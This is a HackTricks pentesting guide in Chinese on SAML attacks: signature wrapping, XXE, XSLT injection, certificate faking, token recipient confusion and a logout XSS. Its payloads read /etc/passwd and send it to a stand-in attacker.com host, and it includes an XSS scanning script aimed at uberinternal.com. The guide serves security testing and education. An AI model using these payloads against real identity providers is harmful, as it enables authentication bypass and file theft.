SAML Attacks

SAML 攻击

支持 HackTricks

基本信息

SAML Basics

工具

SAMLExtractor:一个可以接受 URL 或 URL 列表并返回 SAML 消费 URL 的工具。

XML 往返

在 XML 中,签名部分的 XML 被保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,被检查的数据和原始数据可能不相同

例如,检查以下代码:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

运行该程序针对 REXML 3.2.4 或更早版本将导致以下输出:

First child in original doc: Y
First child after round-trip: Z

这是REXML如何查看上述程序的原始XML文档的:

这是它在经过一轮解析和序列化后的样子:

有关此漏洞及其滥用方式的更多信息:

XML签名包装攻击

XML签名包装攻击(XSW)中,攻击者利用XML文档在两个不同阶段处理时出现的漏洞:签名验证和功能调用。这些攻击涉及改变XML文档结构。具体而言,攻击者注入伪造元素,这些元素不会影响XML签名的有效性。这种操控旨在造成应用逻辑分析的元素与签名验证模块检查的元素之间的差异。因此,尽管XML签名在技术上仍然有效并通过验证,但应用逻辑处理的是欺诈元素。因此,攻击者有效地绕过了XML签名的完整性保护来源认证,使得任意内容的注入得以在不被检测的情况下进行。

以下攻击基于这篇博客文章 这篇论文。因此,请查看这些以获取更多详细信息。

XSW #1

  • 策略:添加一个包含签名的新根元素。

  • 影响:验证器可能会在合法的“Response -> Assertion -> Subject”和攻击者的“恶意新Response -> Assertion -> Subject”之间感到困惑,从而导致数据完整性问题。

XSW #2

  • 与XSW #1的区别:使用分离签名而不是封装签名。

  • 影响:“恶意”结构,类似于XSW #1,旨在欺骗完整性检查后的业务逻辑。

XSW #3

  • 策略:在与原始断言相同的层级上构造一个恶意断言。

  • 影响:意图使业务逻辑混淆,以使用恶意数据。

XSW #4

  • 与XSW #3的区别:原始断言成为复制(恶意)断言的子元素。

  • 影响:与XSW #3类似,但更激进地改变XML结构。

XSW #5

  • 独特方面:签名和原始断言都不符合标准配置(封装/封装/分离)。

  • 影响:复制的断言封装了签名,修改了预期的文档结构。

XSW #6

  • 策略:与XSW #4和#5类似的位置插入,但有一个变化。

  • 影响:复制的断言封装了签名,然后封装了原始断言,创建了一个嵌套的欺骗结构。

XSW #7

  • 策略:插入一个扩展元素,复制的断言作为子元素。

  • 影响:利用扩展元素的较少限制的模式,绕过模式验证对策,特别是在像OpenSAML这样的库中。

XSW #8

  • 与XSW #7的区别:利用另一个较少限制的XML元素进行变体攻击。

  • 影响:原始断言成为较少限制元素的子元素,反转了XSW #7中使用的结构。

工具

您可以使用Burp扩展SAML Raider来解析请求,应用您选择的任何XSW攻击并发起它。

XXE

如果您不知道XXE攻击是什么,请阅读以下页面:

XXE - XEE - XML External Entity

SAML响应是解压缩和Base64编码的XML文档,可能会受到XML外部实体(XXE)攻击的影响。通过操控SAML响应的XML结构,攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

您还可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC,以测试可能的 XXE 漏洞和 SAML 漏洞。

还可以查看这个演讲: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

有关 XSLT 的更多信息,请访问:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式,如 HTML、JSON 或 PDF。重要的是要注意 XSLT 转换在数字签名验证之前执行。这意味着即使没有有效的签名,攻击也可以成功;自签名或无效签名也足以继续。

在这里,您可以找到一个 POC 来检查这种漏洞,在本节开头提到的 hacktricks 页面中可以找到有效载荷。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

您还可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC,以测试可能的 XSLT 漏洞。

还可以查看这个演讲: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion 观察 SAML 实现的行为,当 Signature 元素不存在时。如果该元素缺失,可能不会进行签名验证,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。

Tool

您还可以使用 Burp 扩展 SAML Raider。拦截 SAML 响应并点击 Remove Signatures。这样,所有 Signature 元素将被移除。

在移除签名后,允许请求继续发送到目标。如果服务不需要签名

Certificate Faking

Certificate Faking

Certificate Faking 是一种测试 服务提供者 (SP) 是否正确验证 SAML 消息是否由受信任的身份提供者 (IdP) 签名 的技术。它涉及使用 *自签名证书 来签署 SAML 响应或声明,这有助于评估 SP 和 IdP 之间的信任验证过程。

如何进行 Certificate Faking

以下步骤概述了使用 SAML Raider Burp 扩展的过程:

  1. 拦截 SAML 响应。

  2. 如果响应包含签名,使用 Send Certificate to SAML Raider Certs 按钮将证书发送到 SAML Raider Certs。

  3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 Save and Self-Sign 创建原始证书的自签名克隆。

  4. 返回到 Burp 的代理中拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。

  5. 使用 Remove Signatures 按钮移除任何现有签名。

  6. 使用 (Re-)Sign Message(Re-)Sign Assertion 按钮(视情况而定)使用新证书签署消息或声明。

  7. 转发签名消息。成功的身份验证表明 SP 接受由您的自签名证书签署的消息,揭示 SAML 消息验证过程中的潜在漏洞。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 服务提供者是否正确验证响应的预期接收者。本质上,如果身份验证响应是针对不同提供者的,服务提供者应该拒绝该响应。这里的关键元素是 Recipient 字段,位于 SAML 响应的 SubjectConfirmationData 元素中。该字段指定一个 URL,指示声明必须发送到哪里。如果实际接收者与预期的服务提供者不匹配,则该声明应被视为无效。

工作原理

为了使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,必须满足某些条件。首先,服务提供者上必须有一个有效的帐户(称为 SP-Legit)。其次,目标服务提供者(SP-Target)必须接受来自同一身份提供者的令牌,该身份提供者为 SP-Legit 提供服务。

在这些条件下,攻击过程是直接的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。身份提供者到 SP-Legit 的 SAML 响应被拦截。然后将这个原本针对 SP-Legit 的拦截 SAML 响应重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明,从而允许访问与用于 SP-Legit 的相同帐户名下的资源。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS 在注销功能中的应用

原始研究可以通过 this link 访问。

在目录暴力破解的过程中,发现了一个注销页面:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

访问此链接时,发生了重定向到:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

这揭示了 base 参数接受一个 URL。考虑到这一点,出现了用 javascript:alert(123); 替代 URL 的想法,以尝试发起 XSS(跨站脚本)攻击。

大规模利用

来自这项研究

SAMLExtractor 工具被用来分析 uberinternal.com 的子域,以寻找使用相同库的域。随后,开发了一个脚本来针对 oidauth/prompt 页面。该脚本通过输入数据并检查其是否反映在输出中来测试 XSS(跨站脚本)。在输入确实被反映的情况下,脚本将该页面标记为易受攻击。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考文献

支持 HackTricks

Last updated